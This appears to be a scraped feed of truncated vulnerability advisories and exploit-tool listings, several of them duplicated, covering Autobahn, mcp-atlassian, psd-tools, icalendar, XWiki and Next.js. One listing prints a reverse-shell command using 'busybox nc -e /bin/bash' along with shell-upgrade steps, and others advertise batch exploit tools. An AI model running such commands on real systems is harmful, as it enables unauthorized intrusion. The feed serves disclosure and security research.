GHSA-HXP9-W8X3-P566 Autobahn Python permessage-deflate bypasses maxMessagePayloadSize after inflation

Summary Autobahn Python enforces maxMessagePayloadSize against the compressed WebSocket frame length before permessage-deflate inflation, then delivers the inflated message to application callbacks without a second size check. A client frame that is only 22 compressed bytes can inflate to 4096...

EUVD-2026-83415

Autobahn Python permessage-deflate bypasses maxMessagePayloadSize after inflation...

mcp-atlassian has an incomplete SSRF remediation

Summary The UserTokenMiddleware extracts URLs from X-Atlassian-Jira-Url and X-Atlassian-Confluence-Url HTTP headers and passes them directly to API client constructors without any SSRF validation. Affected Package - Ecosystem: PyPI - Package: mcp-atlassian - Affected versions: all versions before...

CVE-2025-32429-Checker

CVE-2025-32429 脆弱性チェッカー XWikiプラットフォームにおけるCVE-2025-32429 SQLインジェクション脆弱性を検出するためのPythonベースの脆弱性スキャナーです。 機能 単一ターゲットスキャン : -tオプションで個別ターゲットをチェック バルクスキャン : -lオプションでファイルから複数ターゲットをスキャン WAF検出 : Webアプリケーションファイアウォールを自動検出 時間ベース検出 : 時間ベースのSQLインジェクション脆弱性を特定 エラーベース検出 : レスポンス内のSQLエラーメッセージを検出 マルチスレッド :...

DEBIAN-CVE-2026-59991

psd-tools is a Python package for working with Adobe Photoshop PSD files. Prior to 1.17.4, PSDImage.composite and PSDImage.numpy allocated output buffers from attacker-controlled PSD header geometry, including width, height, channels, depth, and per-layer rectangles, before validating those value...

CVE-2026-59991

psd-tools is a Python package for working with Adobe Photoshop PSD files. Prior to 1.17.4, PSDImage.composite and PSDImage.numpy allocated output buffers from attacker-controlled PSD header geometry, including width, height, channels, depth, and per-layer rectangles, before validating those value...

CVE-2026-59991

psd-tools is a Python package for working with Adobe Photoshop PSD files. Prior to 1.17.4, PSDImage.composite and PSDImage.numpy allocated output buffers from attacker-controlled PSD header geometry, including width, height, channels, depth, and per-layer rectangles, before validating those value...

PoC-for-Next.js-Middleware

PoC for Next.js Middleware Bypass CVE-2025-29927 这是一个针对虚构的 Next.js 中间件绕过漏洞 CVE-2025-29927 的概念验证 。仅 用于教育和授权的安全研究。 🚀 功能特性 功能| 描述 ---|--- ✨ 颜色与详细输出| 彩色输出；使用 -v 显示详细调试日志。 📦 面向对象结构| 基于类的设计，清晰且易于维护。 🌐 代理支持| 通过 --proxy 路由 HTTPS 代理流量。 🍪 会话处理| 使用持久化的 requests.Session 处理 Cookie 和连接复用。 🚦 重定向控制|...

violent-python3

Python 3「Violent Python」ソースコード TJ O'Connor 著の書籍「Violent Python」のソースコードです。コードは完全に Python 3 に変換され、PEP8 標準に準拠するようにフォーマットされ、非推奨ライブラリの実装に伴う依存関係の問題を解消するためにリファクタリングされています。 これと同様の変換を、Justin Seitz 著の書籍「Black Hat Python」のソースコードについても私自身が行っています。まだご覧になっていない方は、こちらをご確認ください。 使用方法 プロジェクト用の新しいディレクトリ DIR...

CVE-2025-24893

CVE-2025-24893 用リバースシェル root@kitploit: python3 CVE-2025-24893.py -u http://wiki.editor.htb/ -c "busybox nc -e /bin/bash" シェルのアップグレード 1. python3 -c 'import pty; pty.spawn"/bin/bash"' 2. ctrl + z 3. stty size 4. stty raw -echo; fg 5. stty rows x columns y 6. export TERM=xterm...

CVE-2022-22947

CVE-2022-22947 使い方: root@kitploit: python3 CVE-2022-22947.py url...

CVE-2024-29269

Telesquare TLR-2005KSHRCE CVE-2024-29269 バッチスキャン/エクスプロイト 1.このツールはセキュリティテストのみに使用されており、違法な攻撃については責任を負いません. 2.このツールはセキュリティテストのみに使用され、違法な攻撃については一切責任を負いません. 3.このツールはセキュリティテストのみに使用され、違法な攻撃については一切責任を負いません. ヘルプ root@kitploit: / /\ //\ | \ / \ | || | | \ / \ \ / / / \ / / \ \ / /\ | | | | || | | | | ' ...

CVE-2026-95831

Crypt::SelfCertificate versions from 1.01 through 1.05 for Perl contains malware which executes Python code from an obfuscated URL. The generatecertificate runs a Python script saved as a certificate file. The pyhton script attempts to retrieve code from a hardcoded http URL that is obfuscated wi...

CVE-2026-59991

The psd-tools Python package, used for processing Adobe Photoshop PSD files, contains an uncontrolled memory allocation vulnerability in the PSDImage.composite() and PSDImage.numpy() functions. Prior to version 1.17.4 , the software allocated output buffers based on attacker-controlled header geo...

EUVD-2026-84808

psd-tools is a Python package for working with Adobe Photoshop PSD files. Prior to 1.17.4, PSDImage.composite and PSDImage.numpy allocated output buffers from attacker-controlled PSD header geometry, including width, height, channels, depth, and per-layer rectangles, before validating those value...

CVE-2026-59991 psd-tools: Uncontrolled memory allocation in psd-tools composite/numpy via crafted PSD geometry

psd-tools is a Python package for working with Adobe Photoshop PSD files. Prior to 1.17.4, PSDImage.composite and PSDImage.numpy allocated output buffers from attacker-controlled PSD header geometry, including width, height, channels, depth, and per-layer rectangles, before validating those value...

CVE-2026-59991 psd-tools: Uncontrolled memory allocation in psd-tools composite/numpy via crafted PSD geometry

psd-tools is a Python package for working with Adobe Photoshop PSD files. Prior to 1.17.4, PSDImage.composite and PSDImage.numpy allocated output buffers from attacker-controlled PSD header geometry, including width, height, channels, depth, and per-layer rectangles, before validating those value...

CVE-2026-77399 icalendar: Denial of service via unbounded VALARM REPEAT expansion

icalendar is an RFC 5545 compatible parser and generator of iCalendar files for Python. From 6.1.0 until 7.2.2, vInt.fromical accepts an attacker-controlled VALARM REPEAT value and applications that request alarm times can eagerly expand it without an application-level limit. Alarms.times and...

CVE-2026-77399 icalendar: Denial of service via unbounded VALARM REPEAT expansion

icalendar is an RFC 5545 compatible parser and generator of iCalendar files for Python. From 6.1.0 until 7.2.2, vInt.fromical accepts an attacker-controlled VALARM REPEAT value and applications that request alarm times can eagerly expand it without an application-level limit. Alarms.times and...

CVE-2026-48907

E.L.V CVE リサーチ & アセスメントフレームワーク E.L.V — Exploit Loader & Vulnerability Firmware 認可された脆弱性評価のためのサイバーセキュリティリサーチユーティリティ。 目次 概要 重要な安全上の注意 プロジェクト情報 現在のスクリプトの動作 ワークフロー 要件 インストール コマンドラインインターフェース 入力ファイル 出力 並行処理 ネットワーク動作 SSL/TLS 動作 ログと結果 エラー処理 ソースコード構成 セキュリティに関する考慮事項 責任あるテスト手法...